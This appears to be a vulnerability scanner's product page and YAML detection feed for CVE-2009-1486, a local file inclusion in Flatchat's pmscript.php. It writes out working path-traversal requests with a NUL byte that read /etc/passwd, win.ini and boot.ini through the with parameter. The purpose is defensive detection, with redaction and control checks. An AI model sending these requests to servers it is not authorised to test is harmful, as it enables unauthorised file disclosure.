Flatchat — 1 vulnerability check
noctis ships 1 vulnerability check for Flatchat, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Flatchat pmscript.php Local File Inclusion
| CVE | CVE-2009-1486 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/flatchat/CVE-2009-1486.yaml |
Tests Flatchat (3.0 and earlier) for the unauthenticated local file inclusion in pmscript.php, which includes users/<with>.php with the with parameter unchecked. The feed requests pmscript.php under the usual Flatchat folder locations (/flatchat, /Flatchat, the web root, /chat) with with set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the .php suffix and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the inclusion. The NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are not reported. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/pmscript.php?with=../../../../../../../../../../etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/pmscript.php?with=../../../../../../../../../../windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/pmscript.php?with=../../../../../../../../../../boot.ini%00 - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/pmscript.php?with={{ctrl_path}}%00 - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: Flatchat pmscript.php Local File Inclusion (CVE-2009-1486) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: Flatchat pmscript.php Local File Inclusion (CVE-2009-1486)
References:
Feed source — tests/vulnerabilities/flatchat/CVE-2009-1486.yaml
# Flatchat pmscript.php "with" local file inclusion — CVE-2009-1486
#
# Flatchat 3.0 and earlier (a flat-file PHP chat by ninjadesigns.co.uk,
# unmaintained) ships pmscript.php, which does (advisory: exploit-db 8549)
# $filename = 'users/'.$_GET['with'].'.php';
# if (file_exists($filename)) { include($filename); ...
# with no check and no login. "../" sequences leave the users/ folder, and a
# NUL byte (%00) cuts off the ".php" suffix on PHP < 5.3.4 with
# magic_quotes_gpc off, so any file the web server user can read is included
# and printed in the reply.
#
# Detection (benign, read-only): GET
# <flatchat dir>/pmscript.php?with=../../../../../../../../../../etc/passwd%00
# and match the CONTENT of /etc/passwd; when the script answers but no passwd
# line comes back, the Windows files windows/win.ini, then boot.ini.
# QoD 75 (response analysis). %00 in the query goes out verbatim through
# http_request.
#
# Improvements over the source NASL:
# - The NASL is version-only: it reports any Flatchat <= 3.0 found by its
# detection, without checking that the include works (it cannot on PHP
# >= 5.3.4, where the NUL byte no longer cuts the path). The feed reads a
# system file through the flaw, so only exploitable installs are reported.
# - Ten "../" levels, so installs nested deeper than usual are still read.
# - Linux and Windows system files are tried without relying on OS detection.
# - A control request (same parameter, a path in an absent random directory
# that still ends with the file that hit) must come back WITHOUT any of
# these files; a blanket responder or a honeypot keying a fake file on the
# file name or path suffix is not reported (fail-closed: no control reply
# → no finding, and the control must get the same HTTP status as the
# probe, so a WAF blocking the second request is not read as clean).
# - The account name (unless "root"), password field and gecos of the uid-0
# line are redacted before they reach the finding.
#
# CVSS: CVE-2009-1486 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_flatchat_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800323, GPL-2.0-only).
uid: ca9a9062-9452-4238-9264-e6a6d6a41ce7
name: "Flatchat pmscript.php Local File Inclusion (CVE-2009-1486)"
description: |
Tests Flatchat (3.0 and earlier) for the unauthenticated local file
inclusion in pmscript.php, which includes users/<with>.php with the with
parameter unchecked. The feed requests pmscript.php under the usual Flatchat
folder locations (/flatchat, /Flatchat, the web root, /chat) with with set
to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the
.php suffix and, when no passwd content comes back, windows/win.ini and then
boot.ini. The content of the file in the reply confirms the inclusion. The
NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so
installs on newer PHP are not reported. A control request for an absent
random file through the same parameter must not return any of these files,
so a server that serves the same content on every request is not reported.
Only world-readable system files are read. The account name (unless root),
password field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2009-1486]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [flatchat, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1486"
- "https://www.exploit-db.com/exploits/8549"
# OpenVAS/Greenbone NASL 2009/gb_flatchat_dir_trav_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per Flatchat folder location.
# Each pass resets the values it reads, so nothing is left over.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/flatchat", "/Flatchat", "", "/chat"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/pmscript.php?with=../../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
# script answered (200) and the Linux read gave nothing ───────────────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/pmscript.php?with=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status == 200'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/pmscript.php?with=../../../../../../../../../../boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent path sits in a random missing directory but still ENDS with
# the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
# byte, so a honeypot that keys a fake file on that name or path suffix
# answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/pmscript.php?with={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "Flatchat pmscript.php Local File Inclusion (CVE-2009-1486)"
description: "An unauthenticated request to pmscript.php with the with parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as chat logs and user files, and runs any PHP code found in an included file."
remediation: "Remove Flatchat (unmaintained, no fixed release) from the server, or at least make pmscript.php accept only a user name made of letters and digits in the with parameter, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/pmscript.php?with=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "Flatchat pmscript.php Local File Inclusion (CVE-2009-1486)"
description: "An unauthenticated request to pmscript.php with the with parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as chat logs and user files, and runs any PHP code found in an included file."
remediation: "Remove Flatchat (unmaintained, no fixed release) from the server, or at least make pmscript.php accept only a user name made of letters and digits in the with parameter, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/pmscript.php?with=../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true